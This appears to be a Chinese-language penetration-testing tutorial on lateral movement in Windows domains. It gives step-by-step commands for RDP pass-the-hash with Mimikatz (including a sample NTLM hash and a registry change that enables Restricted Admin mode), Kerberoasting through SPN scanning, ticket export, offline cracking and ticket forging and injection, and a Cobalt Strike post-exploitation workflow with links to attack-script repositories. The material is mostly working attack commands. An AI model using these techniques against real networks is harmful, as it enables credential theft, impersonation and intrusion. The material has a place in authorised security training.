RDP传递-Mimikatz

除了IPC、WMI、SMB、NTLM等协议的连接外,获取到的明文密码或HASH密文也可以通过RDP协议(3389端口)进行连接操作。

RDP明文密码连接

1
2
3
4
Windows: mstsc
mstsc.exe /console /v192.168.3.21 /admin

linux: rdesktop 192.168.3.21:3389

RDP密文hash连接

windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持;开启命令:

1
2
3
REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /v

DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

开启后运行

1
2
3
4
mstsc.exe /restrictedadmin
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 “/run:mstsc.exe /restrictedadmin”

SPN服务

首先通过这篇为文章了解何为SPN:https://www.cnblogs.com/backlion/p/8082623.html

我们主要用到的是SPN扫描服务,其有扫描不会触发防火墙检测、探针、命令简单等优点,流程见思维导图。

spn扫描也可以叫扫描Kerberos服务实例名称,在Active Directory环境中发现服务的最佳方法是通过“SPN扫描”。通过请求特定SPN类型的服务主体名称来查找服务,SPN扫描攻击者通过网络端口扫描的主要好处是SPN扫描不需要连接到网络上的每个IP来检查服务端口。SPN扫描通过LDAP查询向域控制器执行服务发现。由于SPN查询是普通Kerberos票据的一部分,因此如果不能被查询,但可以用网络端口扫描来确认。

黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。

##探针

1
2
3
4
#系统自带setspn命令:

setspn -q */*
setspn -q */* | findstr "MSSQL"
  • 电脑上无域环境,啥都扫不到:

  • 有域时查看域的服务信息,探针:

  • 筛选出MSSQL服务:

请求

1
2
3
4
5
6
# 请求: powershell运行! 也可以mimikatz工具

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx" //记得替换为之前筛选的服务

mimikatz.exe "kerberos::ask /target:xxxx"

导出

1
2
3
# 导出: mimikatz工具

mimikatz.exe "kerberos::list /export"
  • 导出票据信息后拿去破解:

  • 用到kerberoast.py工具

##爆破

1
2
python tgsrepcrack.py passwd.txt xxxx.kirbi
python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi

##重写

1
2
3
4
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512

mimikatz.exe kerberos::ptt xxxx.kirbi # 将生成的票据注入内存

票据注入进去后就相当于能直接连接了,不会验证,伪造admin用户。但成功几率不大,属于后续渗透工具。

CobaltStrike

1
2
3
4
5
6
7
8
9
10
11
12
大概流程:

启动-配置-监听-执行-上线-提权-信息收集(网络,凭证,定位等)-渗透
1.关于启动及配置讲解
2.关于提权及插件加载
3.关于信息收集命令讲解
4.关于视图自动化功能讲解

net view
net computer
net dclist
shell net user /domain

CobaltStrike脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
https://github.com/harleyQu1nn/AggressorScripts
https://github.com/Und3rf10w/Aggressor-scripts
https://github.com/001SPARTaN/aggressor_scripts
https://github.com/rasta-mouse/Aggressor-Script
https://github.com/threatexpress/aggressor-scripts
https://github.com/ramen0x3f/AggressorScripts
https://github.com/FortyNorthSecurity/AggressorAssessor
https://github.com/michalkoczwara/aggressor_scripts_collection
https://github.com/ars3n11/Aggressor-Scripts
https://github.com/gaudard/scripts/tree/master/red-team/aggressor
https://github.com/bluscreenofjeff/AggressorScripts
https://github.com/vysecurity/Aggressor-VYSEC
https://github.com/killswitch-GUI/CobaltStrike-ToolKit
https://github.com/rsmudge/ElevateKit (第三方提权攻击)
https://github.com/QAX-A-Team/CobaltStrike-Toolset
https://github.com/DeEpinGh0st/Erebus (Erebus CobaltStrike后渗透测试插件,持续更新)
https://github.com/branthale/CobaltStrikeCNA
https://github.com/pandasec888/taowu-cobalt-strike(仓库已关闭)